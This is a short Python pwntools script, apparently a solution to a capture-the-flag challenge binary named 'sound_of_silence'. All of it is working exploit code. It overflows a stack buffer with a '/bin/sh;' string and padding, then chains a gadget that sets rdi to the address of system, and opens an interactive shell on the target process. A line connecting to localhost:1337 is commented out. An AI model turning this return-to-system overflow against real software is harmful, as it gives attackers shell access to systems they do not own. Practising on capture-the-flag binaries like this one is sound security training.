from pwn import remote, p64, pause, process

system_addr = 0x401050
set_rdi = 0x401169

#with remote("localhost", 1337) as p:
with process("challenge/sound_of_silence") as p:
    p.recvuntil(b">> ")
    pause()
    payload = b"/bin/sh;"
    payload += b"A" * (0x20 - len(payload)) + p64(0) + p64(set_rdi) + p64(system_addr)
    p.sendline(payload)
    p.interactive()